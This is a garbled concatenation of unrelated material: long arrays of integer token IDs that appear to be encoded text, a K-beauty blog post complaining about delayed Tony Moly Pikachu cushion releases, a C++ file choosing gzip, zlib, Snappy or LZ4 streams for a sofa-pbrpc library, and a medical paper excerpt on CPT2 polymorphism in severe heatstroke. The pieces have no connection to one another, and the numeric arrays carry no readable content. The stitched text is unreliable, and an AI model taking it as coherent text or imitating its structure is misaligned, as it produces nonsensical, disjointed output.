64, 4963, 9, 187, 50270, 26561, 17491, 30891, 475, 10863, 1883, 13, 3631, 560, 2548, 1511, 10, 551, 187, 50274, 16065, 9, 881, 10, 551, 187, 50270, 5045, 3631, 560, 2548, 40, 16368, 27, 187, 50266, 2309, 747, 443, 16368, 30891, 9, 382, 1883, 13, 443, 16368, 30891, 1450, 40, 59, 3123, 558, 187, 50270, 5045, 3631, 560, 2548, 59, 4658, 27, 187, 50266, 2309, 747, 443, 16368, 30891, 9, 382, 1883, 13, 443, 16368, 30891, 1450, 59, 18169, 558, 187, 50270, 5045, 3631, 560, 2548, 16350, 11599, 27, 187, 4, 16238, 19730, 64, 52, 1322, 4785, 58, 187, 50266, 2309, 747, 11982, 11599, 30891, 9, 382, 1883, 558, 187, 4, 7271, 2490, 50266, 4061, 12181, 9, 7750, 558, 187, 4, 7287, 187, 50270, 5045, 3631, 560, 2548, 45, 59, 21, 27, 187, 50266, 2309, 747, 418, 59, 21, 30891, 9, 382, 1883, 558, 187, 50270, 6986, 27, 187, 50266, 4061, 12181, 9, 7750, 558, 187, 50274, 94, 187, 50274, 2309, 5812, 28, 187, 94, 187, 187, 17441, 5065, 2079, 35722, 475, 755, 64, 3118, 2079, 64, 9252, 64, 4963, 9, 187, 50270, 26561, 17491, 35722, 475, 258, 4963, 13, 3631, 560, 2548, 1511, 13, 540, 1268, 10, 551, 187, 50274, 16065, 313, 881, 10, 551, 187, 50270, 5045, 3631, 560, 2548, 40, 16368, 27, 187, 50266, 92, 187, 50262, 40, 16368, 35722, 1450, 10976, 258, 28, 187, 50262, 80, 15, 8124, 426, 443, 16368, 35722, 1450, 40, 59, 3123, 28, 187, 50262, 80, 15, 3118, 1256, 64, 5251, 426, 1268, 28, 187, 50262, 2309, 747, 443, 16368, 35722, 9, 33203, 13, 258, 558, 187, 50266, 94, 187, 50270, 5045, 3631, 560, 2548, 59, 4658, 27, 187, 50266, 92, 187, 50262, 40, 16368, 35722, 1450, 10976, 258, 28, 187, 50262, 80, 15, 8124, 426, 443, 16368, 35722, 1450, 59, 18169, 28, 187, 50262, 80, 15, 3118, 1256, 64, 5251, 426, 1268, 28, 187, 50262, 2309, 747, 443, 16368, 35722, 9, 33203, 13, 258, 558, 187, 50266, 94, 187, 50270, 5045, 3631, 560, 2548, 16350, 11599, 27, 187, 4, 16238, 19730, 64, 52, 1322, 4785, 58, 187, 50266, 2309, 747, 11982, 11599, 35722, 9, 33203, 558, 187, 4, 7271, 187, 50266, 4061, 12181, 9, 7750, 558, 187, 4, 7287, 187, 50270, 5045, 3631, 560, 2548, 45, 59, 21, 27, 187, 50266, 2309, 747, 418, 59, 21, 35722, 9, 33203, 558, 187, 50270, 6986, 27, 187, 50266, 4061, 12181, 9, 7750, 558, 187, 50274, 94, 187, 50274, 2309, 5812, 28, 187, 94, 187, 187, 94, 1380, 12953, 268, 1288, 5902, 187, 94, 1380, 12953, 30929, 187, 187, 3122, 362, 303, 27, 873, 28669, 30, 21, 1863, 30, 21, 331, 84, 30, 21, 2500, 30, 2313, 1738, 187, 29610, 1491, 187, 187, 2302, 8362, 1491, 2530, 15, 187, 187, 15633, 1712, 1317, 1508, 3655, 14, 1704, 14, 13930, 94, 187, 6428, 187, 187, 6802, 8707, 273, 8923, 4269, 407, 4250, 26000, 452, 644, 3629, 342, 4156, 18384, 285, 253, 11762, 2572, 273, 4092, 4250, 10212, 4681, 18, 1084, 1317, 1508, 3655, 14, 2383, 14, 5831, 910, 709, 14, 881, 568, 709, 4982, 544, 19, 1084, 1317, 1508, 3655, 14, 2383, 14, 12603, 910, 709, 14, 881, 568, 709, 986, 496, 4047, 13, 247, 3332, 12061, 273, 8945, 811, 4124, 1955, 281, 4250, 26000, 60, 20, 1084, 1317, 1508, 3655, 14, 2383, 14, 14602, 910, 709, 14, 881, 568, 709, 986, 285, 8923, 60, 21, 1084, 1317, 1508, 3655, 14, 2383, 14, 15017, 910, 709, 14, 881, 568, 709, 986, 452, 2489, 3374, 273, 2675, 4468, 15, 496, 4092, 4250, 26000, 13, 10702, 2133, 3276, 273, 689, 3387, 3272, 36, 310, 6566, 281, 320, 253, 2022, 2847, 273, 9749, 285, 253, 954, 4092, 23950, 1543, 275, 253, 3110, 4479, 84, 2471, 432, 2709, 1963, 4433, 313, 6329, 39, 481, 380, 1072, 1268, 273, 1029, 15198, 812, 671, 2826, 275, 18306, 1363, 285, 13949, 1543, 275, 353, 10327, 15, 187, 187, 24881, 13, 436, 1511, 273, 353, 10327, 342, 1029, 15198, 13, 3782, 275, 18306, 19170, 84, 13, 556, 644, 4950, 281, 320, 4269, 407, 253, 5461, 311, 357, 587, 13466, 273, 27771, 262, 460, 5796, 2225, 24592, 30837, 3719, 313, 5305, 53, 3719, 10, 12955, 313, 2967, 1423, 1717, 20922, 28, 260, 15, 740, 2417, 53, 135, 214, 40, 905, 81, 15, 49, 248, 27267, 36, 656, 3851, 313, 39, 27267, 36, 481, 33334, 262, 460, 5796, 2225, 24592, 30837, 3719, 1150, 684, 275, 253, 6703, 13227, 15403, 281, 1395, 1048, 3250, 10050, 14126, 9532, 285, 4711, 37121, 1195, 25955, 313, 25606, 582, 285, 697, 5461, 311, 357, 587, 13466, 273, 475, 5305, 53, 19, 11, 24848, 5644, 281, 253, 14523, 273, 14809, 3275, 760, 762, 1029, 15198, 15, 733, 310, 5272, 281, 2096, 1880, 1029, 15198, 310, 407, 4250, 26000, 273, 18306, 326, 1029, 15198, 41033, 14809, 3275, 4768, 253, 2133, 342, 253, 5461, 311, 357, 587, 13466, 273, 475, 5305, 53, 19, 11, 24848, 13, 285, 436, 943, 320, 2905, 281, 253, 3110, 4479, 84, 4092, 1617, 5802, 407, 1029, 15198, 15, 831, 9376, 556, 1620, 644, 5762, 15, 496, 436, 1263, 13, 253, 5886, 875, 475, 5305, 53, 19, 11, 24848, 285, 12147, 273, 4250, 26000, 342, 247, 2133, 3276, 273, 689, 3387, 3272, 36, 369, 6949, 15, 187, 187, 15568, 1712, 1317, 1508, 3655, 14, 1704, 14, 19035, 94, 187, 6877, 187, 187, 37872, 3250, 12496, 12640, 1363, 11245, 347, 1907, 5460, 4250, 26000, 497, 17692, 275, 253, 1263, 15, 1583, 497, 512, 20870, 407, 32686, 3587, 432, 253, 6200, 285, 8176, 281, 2057, 273, 767, 1495, 3250, 40133, 8945, 12127, 13, 17413, 8710, 2499, 8896, 390, 17413, 8710, 2499, 388, 607, 900, 8020, 8710, 12169, 313, 15617, 17413, 13, 4047, 481, 187, 187, 3251, 3764, 4250, 26000, 275, 436, 1263, 369, 11245, 275, 1363, 342, 247, 5161, 3276, 273, 689, 3387, 3272, 36, 13, 342, 2957, 273, 14099, 390, 2410, 40005, 15, 380, 5705, 13368, 6380, 1783, 323, 475, 5305, 53, 19, 11, 846, 13546, 3542, 8191, 7578, 432, 253, 8642, 4103, 15, 187, 187, 34, 475, 5305, 53, 19, 11, 22472, 577, 2919, 13, 1690, 401, 27267, 36, 285, 657, 23926, 42, 13, 369, 22546, 323, 9197, 390, 28103, 407, 1480, 12184, 15, 844, 4824, 562, 24848, 9273, 327, 253, 1246, 1363, 285, 5875, 15986, 13, 671, 6692, 13, 6289, 432, 776, 2045, 2561, 4681, 22, 1084, 1317, 1508, 3655, 14, 2383, 14, 13930, 910, 709, 14, 881, 568, 709, 986, 2588, 4986, 3882, 432, 2644, 2614, 313, 386, 4173, 356, 2907, 342, 30097, 2348, 74, 4988, 292, 49434, 39548, 3527, 10, 369, 5480, 970, 253, 1165, 5236, 1301, 3882, 2614, 4260, 74, 28049, 313, 47738, 13, 17413, 13, 4047, 481, 6295, 30450, 313, 33829, 16, 35902, 1215, 10, 273, 253, 475, 5305, 53, 19, 11, 22472, 577, 4811, 497, 27867, 387, 253, 22371, 2588, 19177, 5197, 313, 39520, 4595, 13, 353, 466, 13, 4047, 10, 970, 444, 21, 79, 19, 39, 18, 313, 22, 6097, 3250, 18038, 72, 1440, 85, 317, 550, 5781, 317, 550, 356, 18038, 72, 3250, 20, 6097, 10, 285, 444, 21, 79, 19, 51, 18, 313, 22, 6097, 3250, 18038, 5781, 514, 1440, 18038, 291, 7784, 68, 356, 291, 3250, 20, 6097, 10, 17678, 15, 187, 187, 510, 23977, 63, 19, 63, 3250, 2566, 285, 14826, 4479, 84, 3242, 1071, 497, 908, 281, 7277, 16381, 11383, 15, 380, 17672, 283, 32152, 475, 54, 49411, 2566, 369, 908, 281, 7277, 253, 47668, 273, 28344, 15, 18196, 285, 14755, 941, 497, 5867, 970, 253, 475, 85, 49411, 2566, 15, 6692, 7115, 323, 39718, 13715, 5201, 49641, 456, 4458, 3385, 5670, 2434, 26468, 313, 31395, 2300, 399, 1864, 582, 39718, 4111, 39390, 285, 28289, 4775, 27605, 313, 2088, 1934, 1922, 10, 3719, 13, 285, 18374, 1624, 10164, 32104, 23868, 313, 8683, 5377, 10, 7363, 275, 3302, 1971, 497, 5118, 15, 844, 2429, 2363, 13, 8645, 13, 2133, 3276, 387, 8945, 2316, 313, 947, 10, 13024, 13, 7467, 273, 28344, 13, 10919, 5407, 4918, 13, 17102, 13, 3426, 2614, 1385, 13, 285, 35881, 275, 253, 5705, 342, 285, 1293, 253, 401, 27267, 36, 12955, 15, 500, 4548, 883, 313, 52, 1719, 6516, 13, 50227, 13, 11248, 13, 5106, 10, 369, 908, 323, 7605, 1783, 15, 380, 8453, 7887, 369, 873, 281, 247, 475, 49, 49411, 2877, 273, 470, 15, 1762, 15, 187, 187, 1552, 1263, 369, 638, 3250, 37407, 407, 253, 21482, 7039, 273, 17413 ]

A photo posted by 토니모리 공식계정 / TONYMOLY Official (@tonymoly.official) on Sep 8, 2016 at 3:52am PDT Since the last time I updated you guys on volume 1 of this series, Tony Moly has still yet to release the rest of the collection. We did find out that there was more to the collection then just the hand creams, cleaners and face creams with the other promo picture which shows us that there are more Pikachu products such as lip tints, eyeshadow palettes and most importantly, CUSHIONS BABY! Tony Moly are still being a pain in the ass since it is already September 14 and they still yet to release my cushions!!! Not only that, I had to search far and wide to find out there are even Jigglypuff products in this collection as well! I”m assuming the compacts maybe some type of blushes? Not sure but TONY MOLY RELEASE THEM ALREADY SO I CAN BUY IT AND GET MY PACKAGE SENT OUT. SO ANNOYING! Leaving on that angry note, that concludes the second “what’s new in K-beauty”. Anything that you guys are eyeing as well? It seems like I’m going to have to do this series almost every week with the amount of products that gets released. Let me know what you guys think of this series and should I continue it. If you found this post helpful, don’t forget to share it on your favourite social media pages. Also don’t forget to follow me on my social media platforms to see what I’m doing and what I’m getting in the mail :D. Mail time is always fun time for me. ( •ω• ) Bloglovin: www.bloglovin.com/christinahello FB: www.facebook.com/xtinahello Instagram: @christinahello Twitter: www.twitter.com/xtina_hello Pinterest: www.pinterest.com/xtina_hello// This file is modified from `protobuf-zerocopy-compression': // https://github.com/JohannesEbke/protobuf-zerocopy-compression // Copyright (c) 2013, Johannes Ebke and Peter Waller. All rights reserved. // Author: peter.waller@gmail.com (Peter Waller) // Author: johannes@ebke.org (Johannes Ebke) #include <sofa/pbrpc/common.h> #include <sofa/pbrpc/compressed_stream.h> #include <sofa/pbrpc/gzip_stream.h> #include <sofa/pbrpc/block_wrappers.h> namespace sofa { namespace pbrpc { AbstractCompressedInputStream * get_compressed_input_stream( ZeroCopyInputStream * istream, CompressType type) { switch(type) { case CompressTypeGzip: return new GzipInputStream(istream, GzipInputStream::GZIP); case CompressTypeZlib: return new GzipInputStream(istream, GzipInputStream::ZLIB); case CompressTypeSnappy: #ifdef HAVE_SNAPPY return new SnappyInputStream(istream); #else SCHECK(false); #endif case CompressTypeLZ4: return new LZ4InputStream(istream); default: SCHECK(false); } return NULL; } AbstractCompressedOutputStream * get_compressed_output_stream( ZeroCopyOutputStream * ostream, CompressType type, int level) { switch (type) { case CompressTypeGzip: { GzipOutputStream::Options o; o.format = GzipOutputStream::GZIP; o.compression_level = level; return new GzipOutputStream(ostream, o); } case CompressTypeZlib: { GzipOutputStream::Options o; o.format = GzipOutputStream::ZLIB; o.compression_level = level; return new GzipOutputStream(ostream, o); } case CompressTypeSnappy: #ifdef HAVE_SNAPPY return new SnappyOutputStream(ostream); #else SCHECK(false); #endif case CompressTypeLZ4: return new LZ4OutputStream(ostream); default: SCHECK(false); } return NULL; } } // namespace pbrpc } // namespace sofa /* vim: set ts=4 sw=4 sts=4 tw=100 */ Funding information No funding information provided. Background {#ams2373-sec-0005} ========== Reports of deaths caused by heatstroke have been increasing with global warming and the worldwide increase of serious heat waves.[1](#ams2373-bib-0001){ref-type="ref"}, [2](#ams2373-bib-0002){ref-type="ref"} In Japan, a recent surge of emergency transports due to heatstroke[3](#ams2373-bib-0003){ref-type="ref"} and deaths[4](#ams2373-bib-0004){ref-type="ref"} have become issues of social concern. In serious heatstroke, elevated body temperature of over 40°C is believed to be the main cause of illness and the most serious complication results in the patient\'s death from multiple organ failure (MOF). The same level of high fever could also occur in influenza patients and occasionally results in MOF. Recently, this type of MOF with high fever, particularly in influenza pediatrics, has been revealed to be caused by the thermolabile phenotype of carnitine palmitoyltransferase II (CPT II) variant (rs2229291; c.1055T˃G \[p.Phe352Cys\]) (F352C). Carnitine palmitoyltransferase II locates in the inner mitochondrial membranes to import long‐chain fatty acids and produce adenosine triphosphate (ATP), and its thermolabile phenotype of *CPT2* polymorphism leads to the suppression of ATP production only under high fever. It is reasonable to understand whether high fever is by heatstroke of influenza that high fever suppresses ATP production throughout the body with the thermolabile phenotype of *CPT2* polymorphism, and this should be related to the patient\'s serious condition induced by high fever. This assumption has never been tested. In this study, the relation between *CPT2* polymorphism and severity of heatstroke with a body temperature of over 40°C was investigated. Methods {#ams2373-sec-0006} ======= Twenty‐four consecutive patients diagnosed as having severe heatstroke were enrolled in the study. They were all transported by ambulance directly from the scene and admitted to either of two life‐saving emergency centers, Tokyo Medical University Hospital or Tokyo Medical University Hachioji Medical Centre (both Tokyo, Japan). Severe heatstroke in this study was diagnosed in patients with a core temperature of over 40°C, with loss of consciousness or convulsions. The subjects underwent genetic analysis for *CPT2* after obtaining written informed consent from the closest relative. A *CPT2* exon 4 region, including F352C and V368I, was screened for mutations or polymorphisms by direct sequencing. We carried out polymorphism screening on the present patients and healthy volunteers, also Japanese, referred from our previous research.[5](#ams2373-bib-0005){ref-type="ref"} Genomic DNA from whole blood (anticoagulated with ethylenediaminetetraacetic acid) was prepared using the QIAamp DNA blood midi kits (Qiagen, Tokyo, Japan). Both strands (sense/antisense) of the *CPT2* exon 4 regions were sequenced at the Dragon Genomics Center (Takara, Mie, Japan) using E4n2F1 (5′‐tcgtttacccaaacccagtcg‐3′) and E4n2R1 (5′‐tcaaacttttccttagcagct‐3′) primers. The χ^2^‐test and Fisher\'s exact test were used to compare genotype frequencies. The Mann--Whitney *U*‐test was used to compare the durations of hospitalization. Laboratory and scoring data were analyzed using the *t*‐test. Japanese Association for Acute Medicine Disseminated Intravascular Coagulation (JAAM DIC), Acute Physiologic and Chronic Health Evaluation (APACHE) II, and Sequential Organ Failure Assessment (SOFA) scores in initial treatment were calculated. We compared age, gender, body temperature at emergency room (ER) arrival, duration of hospitalization, renal replacement therapy, prognosis, complete blood count, and coagulation in the subjects with and without the F352C variant. JMP11 (SAS Institute, Cary, NC, USA) was used for statistical analysis. The significance threshold was set to a *P*‐value of 0.05. This study was pre‐approved by the Ethics Committee of Tokyo

[ 310, 1754, 2220, 253, 2361, 1650, 187, 1171, 253, 32550, 15, 380, 3159, 908, 310, 346, 1503, 518, 255, 937, 534, 29001, 187, 187, 22, 15, 510, 329, 1962, 13107, 3248, 407, 2828, 571, 266, 11982, 276, 777, 15908, 737, 251, 5173, 13, 7727, 5490, 5874, 31299, 313, 746, 3071, 6844, 1051, 273, 253, 36250, 266, 26438, 273, 6009, 13, 253, 22563, 273, 534, 16988, 187, 783, 806, 346, 81, 33787, 3, 273, 8033, 13, 285, 5544, 697, 4495, 275, 2969, 3448, 15, 29001, 187, 187, 23, 15, 34330, 285, 20242, 275, 5427, 285, 253, 10351, 5791, 407, 3599, 5308, 17771, 411, 16210, 313, 746, 2922, 6844, 1051, 5083, 273, 253, 18892, 16167, 285, 273, 637, 434, 10096, 2220, 2656, 13, 347, 2326, 275, 253, 187, 394, 29037, 23252, 816, 1024, 15212, 15, 380, 1273, 1270, 43035, 273, 8033, 310, 253, 29001, 187, 187, 24, 15, 510, 19383, 11362, 407, 24709, 273, 3968, 8049, 13, 19173, 518, 303, 418, 770, 437, 13, 6911, 322, 15, 418, 770, 437, 313, 1093, 2511, 6844, 11752, 253, 20533, 5769, 266, 301, 34526, 13, 665, 12969, 323, 247, 4289, 285, 10488, 1107, 7357, 187, 9138, 5446, 13, 352, 369, 12258, 347, 247, 43035, 273, 8033, 285, 347, 253, 15555, 273, 10497, 15, 29001, 50, 27, 187, 187, 1276, 6569, 604, 368, 5159, 3095, 1309, 388, 1432, 75, 32, 187, 187, 15426, 312, 13, 187, 1909, 954, 273, 368, 403, 6600, 13, 436, 1107, 8, 388, 1432, 75, 574, 1142, 8923, 1955, 281, 253, 21463, 13616, 15, 36242, 818, 1166, 952, 4962, 275, 436, 2362, 15, 187, 3220, 1953, 310, 13, 604, 3095, 858, 5159, 1529, 8797, 1309, 436, 21463, 13616, 13, 310, 627, 388, 1432, 75, 7607, 32, 209, 187, 3463, 5159, 13, 309, 1053, 626, 1599, 13318, 20362, 3095, 13, 309, 1599, 604, 3095, 32926, 6216, 689, 3095, 342, 253, 8208, 281, 755, 4817, 731, 275, 1340, 281, 3426, 616, 388, 1432, 75, 313, 338, 326, 2789, 3282, 40778, 187, 187, 34, 27, 535, 50254, 50266, 688, 253, 1416, 273, 27006, 187, 187, 688, 2743, 281, 634, 1953, 187, 187, 1276, 6569, 604, 368, 5159, 3095, 1309, 388, 1432, 75, 32, 187, 187, 688, 824, 4112, 347, 368, 753, 773, 338, 368, 5159, 3095, 1309, 388, 1432, 75, 7721, 352, 3133, 12078, 684, 253, 419, 22492, 15, 50276, 4527, 2282, 275, 2743, 281, 436, 2647, 347, 368, 753, 27, 604, 3095, 32926, 6216, 689, 3095, 342, 253, 8208, 281, 755, 4817, 731, 275, 1340, 281, 3426, 616, 388, 1432, 75, 937, 309, 1904, 457, 85, 1089, 436, 5382, 347, 247, 353, 538, 22559, 255, 273, 253, 388, 1432, 275, 4555, 253, 1072, 5382, 15, 209, 187, 2374, 253, 643, 1133, 13, 275, 253, 5393, 4112, 313, 284, 368, 753, 32926, 4906, 327, 643, 11826, 75, 1432, 582, 13949, 690, 952, 24284, 598, 275, 1340, 281, 513, 616, 419, 75, 7938, 13, 840, 25962, 1075, 595, 352, 812, 320, 4592, 984, 273, 253, 3072, 15, 1292, 309, 5467, 352, 476, 320, 9719, 13038, 285, 1014, 12078, 684, 253, 388, 1432, 604, 3095, 513, 352, 23209, 15, 187, 1989, 275, 253, 1840, 14, 13012, 1650, 313, 2520, 807, 13, 388, 1432, 582, 359, 457, 69, 1805, 417, 281, 45577, 253, 11826, 75, 1432, 3587, 13, 1580, 347, 1199, 347, 309, 1089, 562, 13, 352, 310, 4592, 1955, 281, 253, 3480, 273, 247, 1175, 4323, 275, 326, 1899, 407, 253, 7732, 275, 4179, 326, 8505, 690, 5506, 4581, 247, 1039, 273, 253, 11826, 75, 1432, 13, 840, 11826, 75, 1432, 2427, 275, 271, 18580, 4112, 25962, 1075, 595, 13, 16906, 2866, 7757, 352, 2506, 457, 85, 1646, 281, 12078, 366, 253, 419, 75, 273, 253, 8511, 75, 1432, 665, 25962, 1075, 595, 14494, 342, 436, 4112, 1051, 4683, 2282, 3839, 313, 16829, 436, 807, 7343, 10, 352, 476, 320, 9719, 13038, 323, 8511, 75, 1432, 281, 14810, 643, 8511, 75, 1432, 407, 32926, 4906, 347, 368, 5393, 313, 565, 1075, 595, 481, 187, 1989, 8664, 253, 3302, 629, 273, 634, 1953, 347, 368, 5393, 773, 30305, 21026, 818, 1166, 952, 4962, 275, 436, 2362, 1425, 1023, 358, 5356, 627, 403, 1027, 9990, 670, 352, 15, 24697, 347, 1199, 347, 309, 16113, 13, 352, 310, 753, 875, 818, 2090, 281, 625, 685, 577, 2313, 952, 452, 644, 5339, 313, 35861, 281, 1027, 4973, 481, 187, 18786, 27, 187, 1147, 812, 320, 9719, 13038, 604, 11826, 75, 1432, 492, 4636, 327, 643, 11826, 75, 1432, 23209, 15, 313, 8430, 5020, 273, 731, 390, 1014, 512, 273, 731, 588, 10018, 253, 987, 273, 643, 11826, 75, 1432, 2698, 187, 13618, 38658, 1422, 187, 187, 4941, 27, 187, 2700, 15, 303, 312, 14, 76, 9511, 5391, 15, 343, 187, 2700, 15, 4482, 68, 15, 681, 16, 5726, 757, 187, 6855, 15, 25842, 15, 2061, 187, 2700, 15, 29370, 2072, 15, 343, 535, 26170, 1847, 3258, 414, 27, 37549, 13, 24114, 13, 330, 32854, 13, 1176, 10340, 187, 4883, 39, 14, 2431, 6366, 1777, 15, 37, 15, 21301, 19794, 387, 253, 2499, 273, 20973, 187, 2413, 1358, 304, 797, 15, 68, 462, 29409, 15, 86, 22670, 15, 13808, 187, 1231, 403, 13864, 281, 10578, 247, 747, 16125, 3733, 2086, 387, 253, 2499, 273, 20973, 13, 14597, 407, 253, 530, 15, 52, 15, 3313, 6875, 6807, 313, 4883, 39, 10, 17712, 800, 37770, 10286, 285, 5489, 6572, 30494, 1456, 313, 2431, 6366, 10, 2086, 15, 844, 588, 11476, 3435, 43027, 6366, 21301, 84, 689, 253, 1735, 577, 1107, 15, 43027, 6366, 21301, 84, 4763, 2620, 1107, 273, 2120, 8362, 13, 1690, 767, 1107, 273, 42105, 43027, 6366, 18798, 423, 4816, 1229, 13, 933, 591, 807, 10, 285, 1264, 1107, 387, 2622, 7811, 267, 2308, 15, 6572, 30494, 4901, 949, 667, 273, 818, 1777, 15, 37, 15, 5659, 27, 418, 5191, 3397, 28, 38399, 13, 18847, 13, 708, 38308, 13416, 28, 4111, 10537, 708, 22054, 36415, 28, 285, 577, 5659, 275, 29624, 27, 29475, 267, 22054, 21559, 13, 15022, 13, 9753, 267, 13, 285, 18847, 708, 330, 32854, 15, 313, 8497, 326, 42105, 18798, 1727, 403, 2130, 760, 281, 530, 15, 52, 15, 7815, 285, 9928, 8811, 13, 533, 2571, 476, 4647, 281, 253, 2086, 285, 476, 4763, 2120, 8362, 387, 2629, 7811, 267, 2308, 2698, 6572, 30494, 3426, 2622, 1728, 7811, 19616, 3733, 13, 533, 671, 247, 1846, 5161, 273, 686, 16641, 569, 8, 13519, 326, 2085, 731, 4114, 275, 253, 7936, 5697, 13, 3082, 13, 285, 28939, 275, 1016, 15299, 5028, 4209, 281, 1581, 731, 281, 789, 275, 27549, 13, 734, 36078, 6671, 15, 29746, 14, 3169, 789, 310, 8527, 342, 3564, 14, 251, 2289, 281, 285, 3733, 342, 9968, 5024, 5657, 323, 6551, 21559, 13, 9699, 6551, 21559, 13, 30222, 13, 285, 15180, 14053, 15, 187, 4967, 403, 359, 9745, 2366, 841, 3672, 275, 776, 3733, 2086, 32, 914, 5411, 9699, 285, 7534, 7274, 588, 1581, 3448, 2440, 13, 5162, 13, 285, 9360, 313, 317, 17050, 285, 16743, 10, 4768, 253, 36846, 281, 320, 5421, 275, 253, 3634, 273, 2570, 13, 7870, 6355, 273, 3608, 13, 3126, 13, 6551, 36415, 13, 31937, 13, 285, 4466, 13, 2438, 1573, 747, 16039, 715, 253, 3753, 273, 3448, 15, 11056, 13, 9699, 285, 7534, 4910, 403, 22112, 7939, 15, 43419, 10625, 9904, 342, 29475, 2588, 11665, 2085, 3411, 1050, 30591, 281, 1896, 6380, 14395, 323, 3448, 9360, 28, 46449, 476, 3135, 281, 320, 7515, 342, 2032, 4679, 342, 3320, 7569, 14, 483, 390, 7569, 14, 3487, 5893, 3210, 970, 3082, 273, 29475, 267, 285, 26024, 22054, 21559, 285, 2588, 11665, 313, 16651, 272, 327, 17872, 285, 9699, 13795, 2330, 342, 3448, 481, 19728, 13, 824, 2561, 16633, 8558, 327, 3448, 9360, 13, 285, 627, 310, 1652, 3700, 896, 432, 7534, 281, 9699, 10625, 15, 3824, 3733, 2086, 43238, 247, 747, 5978, 273, 10950, 417, 816, 281, 28523, 3700, 875, 9699, 285, 7534, 10625, 13, 533, 281, 440, 1419, 731, 13, 285, 8968, 253, 2442, 323, 7534, 7274, 281, 4151, 417, 816, 253, 14395, 273, 9360, 13, 533, 253, 14395, 273, 6297, 8109, 3448, 30535, 285, 9699, 285, 15180, 11813, 273, 3448, 2440, 285, 5162, 625, 3839, 15, 187, 42153, 2665, 1005, 15, 496, 1635, 281, 42105, 21301, 19794, 13, 8064, 403, 2130, 281, 1329, 2561, 4815, 13, 5213, 4184, 19794, 342, 10471, 275, 3060, 285, 10497, 13, 285, 49303, 452, 2289, 281, 4283, 10950, 285, 1375, 14, 1171, 14, 783, 14, 435, 30684, 15, 187, 37, 2095, 15, 844, 3894, 42105, 434, 7517, 281, 2572, 11497, 275, 5859, 407, 762, 33174, 2390, 15, 530, 31201, 285, 776, 43027, 6366, 2085, 9022, 4263, 285, 1329, 2718, 323, 512, 1777, 15, 37, 15, 3484, 13, 342, 1798, 4116, 281, 253, 7350, 273, 762, 33174, 2390, 15, 10168, 13, 31691, 13, 285, 44465, 4292, 403, 3340, 14659, 281, 4647, 15, 187, 2413, 1358, 304, 797, 15, 68, 462, 29409, 15, 86, 22670, 15, 13808, 187, 2413, 1358, 1981, 86, 3397, 15, 86, 22670, 15, 13808, 31889, 1417, 16153, 310, 247, 5699, 3290, 14, 1171, 14, 8206, 15047, 13, 285, 23061, 6057, 352, 15, 2064, 434, 2139, 253, 2567, 313, 18399, 314, 10, 2692, 745, 697, 747, 36464, 3976, 1063, 8502, 80, 327, 13311, 387, 253, 20970, 5838, 898, 2362, 436, 4131, 15, 6975, 253, 28718, 5125, 13, 436, 4667, 273, 1612, 25297, 476, 4179, 253, 20970, 5838, 898, 285, 20970, 14179, 10486, 15, 380, 36464, 3976, 1063, 8502, 80, 310, 1024, 2130, 281, 1340, 275, 5418, 323, 370, 8193, 13, 342, 15076, 7117, 347, 346, 24, 281, 884, 2136, 1897, 449, 50, 27, 187, 187, 45317, 327, 35454, 27, 556, 64, 20415, 1881, 6604, 187, 187, 51, 5351, 608, 15, 187, 42, 452, 644, 2820, 281, 2794, 247, 1881, 44978, 556, 64, 20415, 2954, 1754, 327, 436, 23647, 27, 50276, 3614, 1358, 28672, 15, 681, 49033, 75, 5844, 300, 72, 409, 16, 4507, 14, 15352, 14, 20415, 14, 936, 14, 20415, 14, 1286, 14, 13956, 14, 2420, 14, 70, 17, 34363, 68, 1630, 68, 18, 70, 313, 783, 1390, 5313, 27, 14026, 64, 20415, 1040, 14026, 64, 20415, 6250, 1128, 6250, 23315, 29355, 5270, 10, 187, 42, 671, 923, 2710, 17059, 1060, 670, 436, 4473, 533, 309, 1353, 1335, 247, 1652, 3663, 672, 352, 3249, 281, 619, 1895, 285, 697, 28939, 15, 1244, 309, 717, 417, 2119, 752, 253, 5447, 943, 1007, 751, 15, 309, 943, 671, 3748, 326, 309, 717, 1077, 747, 281, 35454, 15, 187, 42, 717, 2820, 281, 2794, 686, 12554, 800, 8, 428, 686, 33174, 8, 2954, 875, 28100, 15, 187, 34, 11447, 476, 320, 6607, 407, 1142, 28100, 313, 6989, 556, 64, 20415, 25574, 481, 187, 1898, 247, 11447, 476, 1957, 1142, 28100, 313, 6989, 556, 64, 20415, 12675, 264, 481, 187, 15545, 327, 253, 23647, 275, 253, 3048, 1840, 309, 4159, 619, 11447, 1566, 751, 436, 27, 187, 2437, 11447, 654, 11683, 16324, 187, 50276, 7110, 64, 20415, 1163, 12554, 3993, 13, 949, 27, 1163, 12554, 422, 64, 4492, 13, 2603, 27, 1163, 12554, 800, 187, 50276, 7110, 64, 20415, 1163, 12554, 422, 64, 4492, 13, 5639, 64, 2364, 27, 1163, 33174, 64, 4537, 64, 301, 13, 966, 64, 1590, 27, 686, 12554, 3993, 8, 535, 50276, 7110, 64, 20415, 1163, 33174, 13, 949, 27, 1163, 33174, 64, 4492, 13, 2603, 27, 1163, 33174, 187, 50276, 7110, 64, 20415, 1163, 33174, 64, 4492, 13, 5639, 64, 2364, 27, 1163, 12554, 800, 64, 4537, 64, 301, 13, 966, 64, 1590, 27, 686, 12554, 3993, 8, 187, 423, 187, 187, 5872, 309, 3562, 247, 15572, 2829, 751, 594, 313, 42, 1925, 352, 15572, 533, 697, 1663, 253, 1387, 273, 15572, 285, 6607, 2262, 187, 2437, 25574, 654, 20049, 16324, 1450, 8932, 187, 50276, 8382, 23750, 64, 936, 1163, 12554, 800, 13, 5639, 64, 2364, 27, 686, 12554, 800, 64, 4537, 64, 301, 1383, 966, 64, 1590, 27, 686, 6989, 8, 187, 50276, 8382, 23750, 64, 936, 1163, 33174, 13, 5639, 64, 2364, 27, 686, 33174, 64, 4537, 64, 301, 1383, 966, 64, 1590, 27, 686, 6989, 8, 187, 423, 187, 187, 42, 671, 3562, 247, 15572, 2829, 275, 253, 5447, 534, 4453, 751, 436, 27, 187, 12, 23130, 12, 2912, 12, 4485, 12, 7040, 12, 9794, 12, 573, 12, 187, 93, 7327, 50262, 93, 8078, 50271, 93, 34631, 1040, 10030, 1040, 18193, 1040, 33838, 50268, 93, 187, 12, 23130, 12, 2912, 12, 4485, 12, 7040, 12, 9794, 12, 573, 12, 187 ]

